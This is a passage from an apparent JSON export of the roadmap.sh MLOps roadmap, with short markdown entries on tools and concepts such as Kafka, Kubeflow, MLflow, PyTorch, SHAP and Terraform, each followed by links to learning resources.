    "content": "# Kafka\n\nKafka is a distributed, fault-tolerant, high-throughput streaming platform. It's primarily used for building real-time data pipelines and streaming applications, allowing you to publish, subscribe to, store, and process streams of records. These streams can originate from various sources and be consumed by multiple applications simultaneously.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Kafka Quickstart](https://kafka.apache.org/quickstart)\n- [@article@What is Apache Kafka?](https://aws.amazon.com/what-is/apache-kafka/)\n- [@article@End-to-End Data Engineering System on Real Data with Kafka, Spark, Airflow, Postgres, and Docker](https://towardsdatascience.com/end-to-end-data-engineering-system-on-real-data-with-kafka-spark-airflow-postgres-and-docker-a70e18df4090/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Apache Kafka Fundamentals](https://www.youtube.com/watch?v=B5j3uNBH8X4)\n- [@feed@Explore top posts about Kafka](https://app.daily.dev/tags/kafka?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/kubeflow@QEayqA8zYsJn0rQYz-4zv.md",
    "content": "# Kubeflow\n\nKubeflow is an open-source machine learning platform designed to simplify the deployment and management of ML workflows on Kubernetes. It provides tools and components for building, training, and deploying machine learning models, allowing users to create portable and scalable ML pipelines. Kubeflow aims to make it easier for data scientists and engineers to leverage Kubernetes for their machine learning projects, handling tasks like resource management, model serving, and pipeline orchestration.\n\nVisit the following resources to learn more:\n\n- [@official@Kubeflow](https://www.kubeflow.org/)\n- [@opensource@kubeflow](https://github.com/kubeflow/kubeflow)\n- [@article@What is Kubeflow?](https://cloud.google.com/discover/what-is-kubeflow?hl=en)\n- [@article@Tutorial – Basic Kubeflow Pipeline From Scratch](https://towardsdatascience.com/tutorial-basic-kubeflow-pipeline-from-scratch-5f0350dc1905/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Kubeflow Explained for Beginners](https://www.youtube.com/watch?v=hvzEPlRdJ2Q)\n- [@video@Intro to Kubeflow Pipelines](https://www.youtube.com/watch?v=_AY8mmbR1o4&list=PLIivdWyY5sqLS4lN75RPDEyBgTro_YX7x)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/kubernetes@XQoK9l-xtN2J8ZV8dw53X.md",
    "content": "# Kubernetes\n\nKubernetes is an open-source system for automating the deployment, scaling, and management of containerized applications. It groups containers that make up an application into logical units for easy management and discovery. By orchestrating containers across multiple machines, Kubernetes ensures high availability and efficient resource utilization, making it a powerful tool for managing complex deployments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [@official@Kubernetes](https://kubernetes.io/)\n- [@official@Kubernetes Documentation](https://kubernetes.io/docs/home/)\n- [@article@Kubernetes: An Overview](https://thenewstack.io/kubernetes-an-overview/)\n- [@video@Kubernetes Crash Course for Absolute Beginners](https://www.youtube.com/watch?v=s_o8dwzRlu4)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/lime@pVSlVHXIap0unFxLGM-lQ.md",
    "content": "# LIME\n\nLIME (Local Interpretable Model-agnostic Explanations) is a technique used to understand the predictions of machine learning models by approximating them locally with a more interpretable model. It focuses on explaining individual predictions by perturbing the input data around a specific instance and observing how the model's prediction changes. This allows one to identify which features are most important for that particular prediction, even if the underlying model is complex and opaque.\n\nVisit the following resources to learn more:\n\n- [@official@lime](https://github.com/marcotcr/lime)\n- [@article@Explainable AI - Understanding and Trusting Machine Learning Models](https://www.datacamp.com/tutorial/explainable-ai-understanding-and-trusting-machine-learning-models)\n- [@video@Understanding LIME | Explainable AI](https://www.youtube.com/watch?v=CYl172IwqKs)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/machine-learning-fundamentals@ulka7VEVjz6ls5SnI6a6z.md",
    "content": "# Machine Learning Fundamentals\n\nMachine learning fundamentals encompass the key concepts and techniques that enable systems to learn from data and make predictions or decisions without being explicitly programmed. At its core, machine learning involves algorithms that can identify patterns in data and improve over time with experience. Key areas include supervised learning (where models are trained on labeled data), unsupervised learning (where models identify patterns in unlabeled data), and reinforcement learning (where agents learn to make decisions based on feedback from their actions). Essential components also include data preprocessing, feature selection, model training, evaluation metrics, and the importance of avoiding overfitting. Understanding these fundamentals is crucial for developing effective machine learning applications across various domains.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Machine Learning Roadmap](https://roadmap.sh/machine-learning)\n- [@course@Fundamentals of Machine Learning - Microsoft](https://learn.microsoft.com/en-us/training/modules/fundamentals-machine-learning/)\n- [@course@MLCourse.ai](https://mlcourse.ai/)\n- [@course@Fast.ai](https://course.fast.ai)\n- [@article@Everything I Studied to Become a Machine Learning Engineer (No CS Background)](https://towardsdatascience.com/everything-i-studied-to-become-a-machine-learning-engineer-no-cs-background/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/machine-learning@6uGYeXZn5fW2qPfSb8GJb.md",
    "content": "# Machine Learning\n\nMachine learning is a field of artificial intelligence that uses statistical techniques to give computer systems the ability to \"learn\" (e.g., progressively improve performance on a specific task) from data, without being explicitly programmed. The name machine learning was coined in 1959 by Arthur Samuel. Evolved from the study of pattern recognition and computational learning theory in artificial intelligence, machine learning explores the study and construction of algorithms that can learn from and make predictions on data – such algorithms overcome following strictly static program instructions by making data-driven predictions or decisions, through building a model from sample inputs. Machine learning is employed in a range of computing tasks where designing and programming explicit algorithms with good performance is difficult or infeasible; example applications include email filtering, detection of network intruders, and computer vision.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Machine Learning Roadmap](https://roadmap.sh/machine-learning)\n- [@book@Machine Learning: The Basics](https://alexjungaalto.github.io/MLBasicsBook.pdf)\n- [@article@What is Machine Learning (ML)?](https://www.ibm.com/topics/machine-learning)\n- [@video@What is Machine Learning?](https://www.youtube.com/watch?v=9gGnTQTYNaE)\n- [@video@Complete Machine Learning in One Video | Machine Learning Tutorial For Beginners 2025 | Simplilearn](https://www.youtube.com/watch?v=PtYRUoJRE9s)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/maths--statistics@C4KbkZ7c8TspXa3RBOCug.md",
    "content": "# Maths & Statistics\n\nMathematics and statistics provide the foundational principles for understanding and building machine learning models. These disciplines offer the tools to analyze data, quantify uncertainty, and optimize model performance. Key areas include linear algebra for data representation and manipulation, calculus for optimization algorithms, probability theory for handling uncertainty, and statistical inference for concluding data.\n\nVisit the following resources to learn more:\n\n- [@book@Introductory Statistics](https://assets.openstax.org/oscms-prodcms/media/documents/IntroductoryStatistics-OP_i6tAI7e.pdf)\n- [@article@Computer Science 70, 001 - Spring 2015 - Discrete Mathematics and Probability Theory](http://www.infocobuild.com/education/audio-video-courses/computer-science/cs70-spring2015-berkeley.html)\n- [@article@Discrete Mathematics By IIT Ropar NPTEL](https://nptel.ac.in/courses/106/106/106106183/)\n- [@article@Introduction to Statistics](https://imp.i384100.net/3eRv4v)\n- [@article@How to Learn the Math Needed for Data Science](https://towardsdatascience.com/how-to-learn-the-math-needed-for-data-science-86c6643b0c59/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Lec 1 | MIT 6.042J Mathematics for Computer Science, Fall 2010](https://www.youtube.com/watch?v=L3LMbpZIKhQ&list=PLB7540DEDD482705B)\n- [@video@Discrete Mathematics by Shai Simonson (19 videos)](https://www.youtube.com/playlist?list=PLWX710qNZo_sNlSWRMVIh6kfTjolNaZ8t)\n- [@video@tatistics - A Full University Course on Data Science Basics](https://www.youtube.com/watch?v=xxpc-HPKN28)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/mlflow@93MPXEulKgPnuRlp7F-Nj.md",
    "content": "# MLflow\n\nMLflow is an open-source platform designed to manage the complete machine learning lifecycle. It provides tools for tracking experiments, packaging code into reproducible runs, and deploying models to various platforms. MLflow helps data scientists and engineers streamline their workflows, collaborate effectively, and ensure the reliability of their machine learning projects.\n\nVisit the following resources to learn more:\n\n- [@official@MLFlow](https://mlflow.org/)\n- [@official@MLFlow Docs](https://mlflow.org/docs/latest/)\n- [@opensource@mlflow](https://github.com/mlflow/mlflow)\n- [@article@Streamline Your Machine Learning Workflow with MLFlow](https://www.datacamp.com/tutorial/mlflow-streamline-machine-learning-workflow)\n- [@article@Comprehensive Guide to MlFlow](https://towardsdatascience.com/comprehensive-guide-to-mlflow-b84086b002ae/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@MLFlow Tutorial | ML Ops Tutorial](https://www.youtube.com/watch?v=6ngxBkx05Fs)\n- [@video@MLflow for Machine Learning Development - Video Introduction](https://www.youtube.com/watch?v=5pPflDSdFLg&list=PLQqR_3C2fhUUOmaeowgv4WquvH515zVmo)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/mlops-components@l1xasxQy2vAY34NWaqKEe.md",
    "content": "# MLOps Components\n\nMLOps components can be broadly classified into three major categories: Development, Operations and Governance. The **Development** components include everything involved in the creation of machine learning models, such as data extraction, data analysis, feature engineering, and machine learning model training. The **Operations** category includes components involved in deploying, monitoring, and maintaining machine learning models in production. This may include release management, model serving, and performance monitoring. Lastly, the **Governance** category encompasses the policies and regulations related to machine learning models. This includes model audit and tracking, model explainability, and security & compliance regulations.\n\nVisit the following resources to learn more:\n\n- [@article@MLOps Workflow, Components, and Key Practices](https://mlops.tv/p/understanding-ml-pipelines-through)\n- [@article@MLOps Lifecycle](https://www.moontechnolabs.com/blog/mlops-lifecycle/)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/mlops-principles@iTsEHVCo6KGq7H2HMgy5S.md",
    "content": "# MLOps Principles\n\nMLOps (Machine Learning Operations) principles focus on streamlining the deployment, monitoring, and management of machine learning models in production environments. Key principles include:\n\n1.  **Collaboration**: Foster collaboration between data scientists, developers, and operations teams to ensure alignment on model goals, performance, and lifecycle management.\n    \n2.  **Automation**: Automate workflows for model training, testing, deployment, and monitoring to enhance efficiency, reduce errors, and speed up the development lifecycle.\n    \n3.  **Version Control**: Implement version control for both code and data to track changes, reproduce experiments, and maintain model lineage.\n    \n4.  **Continuous Integration and Deployment (CI/CD)**: Establish CI/CD pipelines tailored for machine learning to facilitate rapid model iteration and deployment.\n    \n5.  **Monitoring and Governance**: Continuously monitor model performance and data drift in production to ensure models remain effective and compliant with regulatory requirements.\n    \n6.  **Scalability**: Design systems that can scale to handle varying workloads and accommodate changes in data volume and complexity.\n    \n7.  **Reproducibility**: Ensure that experiments can be reliably reproduced by standardizing environments and workflows, making it easier to validate and iterate on models.\n    \n\nThese principles help organizations efficiently manage the lifecycle of machine learning models, from development to deployment and beyond.\n\nVisit the following resources to learn more:\n\n- [@article@MLOps Principles](https://ml-ops.org/content/mlops-principles)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/model-evaluation@nS4igSghzVFwamhVOwCjm.md",
    "content": "# Model Evaluation\n\nModel evaluation is the process of assessing the performance of a machine learning model using various metrics and techniques. It helps determine how well the model generalizes to unseen data and whether it meets the desired performance criteria. This involves using different evaluation metrics depending on the type of problem (e.g., accuracy, precision, recall, F1-score for classification; RMSE, MAE for regression) and employing techniques like cross-validation to obtain a reliable estimate of the model's performance.\n\nVisit the following resources to learn more:\n\n- [@article@What is Model Evaluation](https://domino.ai/data-science-dictionary/model-evaluation)\n- [@article@Model Evaluation Metrics](https://www.markovml.com/blog/model-evaluation-metrics)\n- [@article@How to Evaluate the Performance of Your ML/ AI Models](https://towardsdatascience.com/how-to-evaluate-the-performance-of-your-ml-ai-models-ba1debc6f2fa/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@How to evaluate ML models | Evaluation metrics for machine learning](https://www.youtube.com/watch?v=LbX4X71-TFI)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/model-training--serving@zsW1NRb0dMgS-KzWsI0QU.md",
    "content": "# Model Training and Serving\n\nModel Training refers to the phase in the Machine Learning (ML) pipeline where we teach a machine learning model how to make predictions by providing it with data. This process begins with feeding the model a training dataset, which it uses to learn and understand patterns or perform computations. The model's performance is then evaluated by comparing its prediction outputs with the actual results. Various algorithms can be used in the model training process. The choice of algorithm usually depends on the task, the data available, and the requirements of the project. It is worth noting that the model training stage can be computationally expensive, particularly when dealing with large datasets or complex models.\n\nVisit the following resources to learn more:\n\n- [@opensource@What is model training?](https://www.ibm.com/think/topics/model-training)\n- [@article@What Is AI Model Training & Why Is It Important?](https://www.oracle.com/uk/artificial-intelligence/ai-model-training/)\n- [@article@KServe Tutorial](https://towardsdatascience.com/kserve-highly-scalable-machine-learning-deployment-with-kubernetes-aa7af0b71202/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Five Steps to Create a New AI Model](https://www.youtube.com/watch?v=jcgaNrC4ElU&t=172s)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/monitoring--observability@fR4Qr_ifoBLTpxdkJ50rB.md",
    "content": "# Monitoring & Observability\n\nMonitoring and observability involve tracking the performance and health of machine learning models and the infrastructure they rely on. This includes gathering metrics, logs, and traces to understand how models are behaving in production, identify potential issues like performance degradation or data drift, and gain insights into the overall system's operation. The goal is to ensure models are accurate, reliable, and deliver value as expected.\n\nVisit the following resources to learn more:\n\n- [@article@What’s the Difference Between Observability and Monitoring?](https://aws.amazon.com/compare/the-difference-between-monitoring-and-observability/)\n- [@article@Observability and Instrumentation: What They Are and Why They Matter](https://newrelic.com/blog/best-practices/observability-instrumentation)\n- [@video@What is observability?](https://www.youtube.com/watch?v=--17See0KHs)\n- [@video@Monitoring vs Observability](https://www.youtube.com/watch?v=b6yWa3V2iBQ)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/monitoring--observability@r4fbUwD83uYumEO1X8f09.md",
    "content": "# Monitoring and Observability\n\n**Monitoring** in MLOps primarily involves tracking the performance of machine learning (ML) models in production to ensure that they continually deliver accurate and reliable results. Such monitoring is necessary because the real-world data that these models handle may change over time, a scenario known as data drift. These changes can adversely affect model performance. Monitoring helps to detect any anomalies in the model’s behaviour or performance, and such alerts can trigger the retraining of models with new data. From a broader perspective, monitoring also involves tracking resources and workflows to detect and rectify any operational issues in the MLOps pipeline.\n\nVisit the following resources to learn more:\n\n- [@article@ML Monitoring vs ML Observability](https://medium.com/marvelous-mlops/ml-monitoring-vs-ml-observability-understanding-the-differences-fff574a8974f)\n- [@article@Building a Robust Data Observability Framework to Ensure Data Quality and Integrity](https://towardsdatascience.com/building-a-robust-data-observability-framework-to-ensure-data-quality-and-integrity-07ff6cffdf69/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@ML Observability vs ML Monitoring: What's the difference?](https://www.youtube.com/watch?v=k1Reed3QIYE)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/orchestration--deployment@5VuCUCfb4DEi0HKW11PIX.md",
    "content": "# Orchestration & Deployment\n\nOrchestration and deployment involve automating the process of taking a trained machine learning model and making it available for use in a production environment. This includes managing the workflow of model building, testing, and releasing, as well as handling the infrastructure needed to serve the model and scale it to meet demand. It ensures that models are reliably and efficiently integrated into applications and systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is orchestration?](https://www.redhat.com/en/topics/automation/what-is-orchestration)\n- [@video@What is Data Orchestration?](https://www.youtube.com/watch?v=iyw9puEmTrA)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/orchestration@fes7M--Y8i08_zeP98tVV.md",
    "content": "# Orchestration\n\nML orchestration refers to the process of managing and coordinating the various tasks and workflows involved in the machine learning lifecycle, from data preparation and model training to deployment and monitoring. It involves integrating multiple tools and platforms to streamline operations, automate repetitive tasks, and ensure seamless collaboration among data scientists, engineers, and operations teams. By using orchestration frameworks, organizations can enhance reproducibility, scalability, and efficiency, enabling them to manage complex machine learning pipelines and improve the overall quality of models in production. This ensures that models are consistently updated and maintained, facilitating rapid iteration and adaptation to changing data and business needs.\n\nVisit the following resources to learn more:\n\n- [@article@An Introduction to Data Orchestration: Process and Benefits](https://www.datacamp.com/blog/introduction-to-data-orchestration-process-and-benefits)\n- [@article@A Complete Guide to Understanding Data Orchestration](https://towardsdatascience.com/a-complete-guide-to-understanding-data-orchestration-87a20b46297c/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@Data Orchestration Tools (Quick Reference Guide)](https://www.montecarlodata.com/blog-11-data-orchestration-tools)\n- [@video@What is Data Orchestration?](https://www.youtube.com/watch?v=iyw9puEmTrA)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/programming-fundamentals@_7uvOebQUI4xaSwtMjpEd.md",
    "content": "# Programming Fundamentals\n\nML programming fundamentals encompass the essential skills and concepts needed to develop machine learning models effectively. Key aspects include understanding data structures and algorithms, as well as proficiency in programming languages commonly used in ML, such as Python and R. Familiarity with libraries and frameworks like TensorFlow, PyTorch, and scikit-learn is crucial for implementing machine learning algorithms and building models. Additionally, concepts such as data preprocessing, feature engineering, model evaluation, and hyperparameter tuning are vital for optimizing performance. A solid grasp of statistics and linear algebra is also important, as these mathematical foundations underpin many ML techniques, enabling practitioners to analyze data and interpret model results accurately."
  },
  {
    "path": "src/data/roadmaps/mlops/content/prometheus@EIjo6iFrU8iDm36_ZtaW5.md",
    "content": "# Prometheus\n\nPrometheus is an open-source monitoring and alerting toolkit originally built at SoundCloud. It collects and stores metrics as time-series data, meaning metrics are stored with a timestamp at which they were recorded, along with optional key-value pairs called labels. Prometheus uses a pull model to scrape metrics from instrumented jobs, either directly or via push gateways for short-lived jobs. It offers a powerful query language (PromQL) to analyze and visualize the collected data, enabling users to set up alerts based on defined thresholds.\n\nVisit the following resources to learn more:\n\n- [@official@Prometheus Website](https://prometheus.io/)\n- [@official@Prometheus Docs](https://prometheus.io/docs/introduction/overview/)\n- [@official@Getting Started with Prometheus](https://prometheus.io/docs/tutorials/getting_started/)\n- [@video@Introduction to the Prometheus Monitoring System | Key Concepts and Features](https://www.youtube.com/watch?v=STVMGrYIlfg&t=16s)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/python@Vh81GnOUOZvDOlOyI5PwT.md",
    "content": "# Python\n\nPython is a widely used programming language known for its clear syntax and extensive libraries. It's a versatile tool that can handle many tasks, from simple scripting to complex software development. Its ease of use and the availability of specialized libraries for data analysis, machine learning, and automation make it a popular choice for building and deploying machine learning systems.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python](https://www.python.org/)\n- [@article@Real Python](https://realpython.com/)\n- [@article@Automate the Boring Stuff with Python](https://automatetheboringstuff.com/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/pytorch-mobile@qyNOEqp7hW_P7-Isz_v4o.md",
    "content": "# PyTorch Mobile\n\nPyTorch Mobile is a framework that allows you to run PyTorch models directly on mobile devices, like smartphones and tablets. It enables on-device machine learning inference, meaning the model computations happen locally without needing a network connection to a remote server. This offers benefits like reduced latency, increased privacy, and the ability to function offline.\n\nVisit the following resources to learn more:\n\n- [@official@Welcome to the ExecuTorch Documentation](https://docs.pytorch.org/executorch/stable/index.html)\n- [@opensource@executorch](https://github.com/pytorch/executorch)\n- [@video@ExecuTorch 1.0: General Availability Status for Mobile and Embedded...- Mergen Nachin & Cemal Bilgin](https://www.youtube.com/watch?v=toirKRTLgJA)\n- [@video@PyTorch Mobile and Android Neural Networks API | PyTorch Developer Day 2020](https://www.youtube.com/watch?v=B-2spa3UCTU)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/pytorch@Zh7AfH6hJ6MMXiqSnQn7G.md",
    "content": "# PyTorch\n\nPyTorch is an open-source machine learning framework primarily developed by Meta AI. It's used for a variety of applications, including computer vision, natural language processing, and reinforcement learning. PyTorch is known for its dynamic computation graph, which allows for more flexibility and easier debugging compared to static graph frameworks. It provides a comprehensive set of tools and libraries to build and train neural networks.\n\nVisit the following resources to learn more:\n\n- [@official@PyTorch](https://pytorch.org/)\n- [@official@PyTorch Docs](https://pytorch.org/docs/stable/index.html)\n- [@article@What is PyTorc? | IBM](https://www.ibm.com/think/topics/pytorch)\n- [@article@PyTorch Explained: From Automatic Differentiation to Training Custom Neural Networks](https://towardsdatascience.com/the-basics-of-deep-learning-with-pytorch-in-1-hour/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@PyTorch in 100 seconds](https://www.youtube.com/watch?v=ORMx45xqWkA)\n- [@video@PyTorch for Deep Learning & Machine Learning – Full Course](https://www.youtube.com/watch?v=V_xro1bcAuA)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/scikit-learn@T-pybEZVvvXopCTbDykR-.md",
    "content": "# Scikit-learn\n\nScikit-learn is a Python library that provides simple and efficient tools for data mining and data analysis. It features various classification, regression, clustering algorithms, and tools for model selection, preprocessing, and dimensionality reduction. It's built on NumPy, SciPy, and matplotlib, making it a robust and versatile library for a wide range of machine learning tasks.\n\nVisit the following resources to learn more:\n\n- [@official@scikit-learn: machine learning in Python](https://scikit-learn.org/)\n- [@opensource@scikit-learn](https://github.com/scikit-learn/scikit-learn)\n- [@article@What is Scikit-Learn (Sklearn)?](https://www.ibm.com/think/topics/scikit-learn)\n- [@video@How to train and test a neural network using scikit-learn and Keras in Jupyter Notebook](https://www.youtube.com/watch?v=_JG71FIP1rk)\n- [@video@Scikit-learn Crash Course - Machine Learning Library for Python](https://www.youtube.com/watch?v=0B5eIE_1vpU)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/shap@JQKEWz0-vIJoLimLKvIzz.md",
    "content": "# SHAP\n\nSHAP (SHapley Additive exPlanations) is a method used to explain the output of any machine learning model. It uses concepts from game theory to assign each feature a value representing its contribution to the prediction. These values, known as SHAP values, indicate the degree to which each feature contributed to the model's output for a specific instance, facilitating a deeper understanding of the model's decision-making process.\n\nVisit the following resources to learn more:\n\n- [@official@Welcome to the SHAP documentation](https://shap.readthedocs.io/en/latest/)\n- [@opensource@shap](https://github.com/shap/shap)\n- [@article@Explainable AI - Understanding and Trusting Machine Learning Models](https://www.datacamp.com/tutorial/explainable-ai-understanding-and-trusting-machine-learning-models)\n- [@article@When Shapley Values Break: A Guide to Robust Model Explainability](https://towardsdatascience.com/when-shapley-values-break-a-guide-to-robust-model-explainability/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@SHAP values for beginners | What they mean and their applications](https://www.youtube.com/watch?v=MQ6fFDwjuco)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/spark@UljuqA89_SlCSDWWMD_C_.md",
    "content": "# Spark\n\nApache Spark is an open-source distributed computing system designed for big data processing and analytics. It offers a unified interface for programming entire clusters, enabling efficient handling of large-scale data with built-in support for data parallelism and fault tolerance. Spark excels in processing tasks like batch processing, real-time data streaming, machine learning, and graph processing. It’s known for its speed, ease of use, and ability to process data in-memory, significantly outperforming traditional MapReduce systems. Spark is widely used in big data ecosystems for its scalability and versatility across various data processing tasks.\n\nVisit the following resources to learn more:\n\n- [@official@ApacheSpark](https://spark.apache.org/documentation.html)\n- [@article@Spark By Examples](https://sparkbyexamples.com)\n- [@article@First Steps in Machine Learning with Apache Spark](https://towardsdatascience.com/first-steps-in-machine-learning-with-apache-spark-672fe31799a3/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@Complete Guide to Spark and PySpark Setup for Data Science](https://towardsdatascience.com/complete-guide-to-spark-and-pyspark-setup-for-data-science-374ecd8d1eea/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Apache Spark Architecture - EXPLAINED!](https://www.youtube.com/watch?v=iXVIPQEGZ9Y)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/sql@51x_5z0pHTE_yZoyvFUBy.md",
    "content": "# SQL\n\nSQL, or Structured Query Language, is a standard language for managing and manipulating data held in relational database management systems (RDBMS). It allows users to define, access, and control data, enabling operations like creating databases, inserting, updating, deleting, and retrieving data based on specific criteria. SQL provides a structured way to interact with databases, ensuring data integrity and consistency.\n\nVisit the following resources to learn more:\n\n- [@course@Premium SQL Course - Roadmap](https://roadmap.sh/courses/sql)\n- [@official@Visit the Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Tutorial](https://www.w3schools.com/sql/)\n- [@article@How I Learned SQL In 2 Weeks (From Scratch)](https://towardsdatascience.com/how-i-learned-sql-in-2-weeks-from-scratch-b78040f4e2c1/)\n- [@video@Full SQL Crash Course - Learn SQL in 90 Minutes](https://www.youtube.com/watch?v=7cIG41gjHB4)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/tensorflow@so5IQDxKibaZlgoCh8tpQ.md",
    "content": "# TensorFlow\n\nTensorFlow is an open-source software library created by Google for numerical computation and large-scale machine learning. It provides a comprehensive ecosystem of tools, libraries, and community resources that allows researchers and developers to build and deploy ML-powered applications. TensorFlow is particularly well-suited for deep learning tasks, enabling the creation of complex neural networks for image recognition, natural language processing, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Tensorflow](https://www.tensorflow.org/)\n- [@official@Tensorflow Documentation](https://www.tensorflow.org/learn)\n- [@article@Mastering Deep Learning with TensorFlow: From Beginner to Expert](https://towardsdatascience.com/an-introduction-to-tensorflow-fa5b17051f6b/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Tensorflow in 100 seconds](https://www.youtube.com/watch?v=i8NETqtGHms)\n- [@video@Python TensorFlow for Machine Learning – Neural Network Text Classification Tutorial](https://www.youtube.com/watch?v=VtRLrQ3Ev-U)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/terraform@dA9AE-3lTB6lN-X-_Byd2.md",
    "content": "# Terraform\n\nTerraform is an open-source infrastructure as code (IaC) tool that allows you to define and provision infrastructure using a declarative configuration language. It enables you to manage infrastructure resources across various cloud providers and on-premises environments in a consistent and automated manner. Terraform uses a state file to track the current configuration of your infrastructure, allowing you to plan and apply changes safely and predictably.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@official@Terraform](https://developer.hashicorp.com/terraform)\n- [@article@What is Terraform?](https://www.ibm.com/think/topics/terraform)\n- [@article@Automatically Managing Data Pipeline Infrastructures With Terraform](https://towardsdatascience.com/automatically-managing-data-pipeline-infrastructures-with-terraform-323fd1808a47/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Terraform Course - Automate your AWS cloud infrastructure](https://www.youtube.com/watch?v=SLB_c_ayRMo)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/tflite@YFo3NnwVst5EBTtLR-cJ1.md",
    "content": "# TFLite\n\nTFLite is a lightweight version of TensorFlow, designed for running machine learning models on mobile, embedded, and IoT devices. It enables on-device inference, meaning models can be executed directly on the device without needing a network connection or relying on cloud-based processing. This reduces latency, improves privacy, and allows for offline functionality.\n\nVisit the following resources to learn more:\n\n- [@official@TensorFLow LIte](https://www.tensorflow.org/lite/guide)\n- [@article@TensorFlow Lite Tutorial: How to Get Up and Running](https://www.influxdata.com/blog/tensorflow-lite-tutorial-how-to-get-up-and-running/)\n- [@video@TensorFlow Lite for Edge Devices - Tutorial](https://www.youtube.com/watch?v=OJnaBhCixng)\n- [@video@TensorFlow Lite in Android with Google Play services](https://www.youtube.com/watch?v=SEeEsbWZog8&list=PLQY2H8rRoyvwhLghMaygIJS0_f_blnUlJ)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/version-control-systems@_NPGsGEjcLekjGisdDFWt.md",
    "content": "# Version Control Systems\n\nVersion control systems are tools that track changes to files over time. They allow multiple people to work on the same project simultaneously without overwriting each other's work. These systems record a history of modifications, enabling users to revert to previous versions, compare changes, and understand who made specific alterations and when.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/docs)\n- [@article@Learn Git by Atlassian](https://www.atlassian.com/git)\n- [@video@hat is a Version Control System and why you should always use it](https://www.youtube.com/watch?v=IeXhYROClZk)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/version-control-systems@oUhlUoWQQ1txx_sepD5ev.md",
    "content": "# Version Control Systems\n\nVersion control systems are tools that manage changes to code, documents, and other files over time. They allow multiple people to collaborate on a project without overwriting each other's work, track the history of changes, and revert to previous versions if needed. These systems essentially create a detailed record of modifications, enabling efficient collaboration and easier debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Git](https://git-scm.com/)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@feed@Explore top posts about Version Control](https://app.daily.dev/tags/version-control?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/mlops/content/version-control@kHDSwlSq8WkLey4EJIQSR.md",
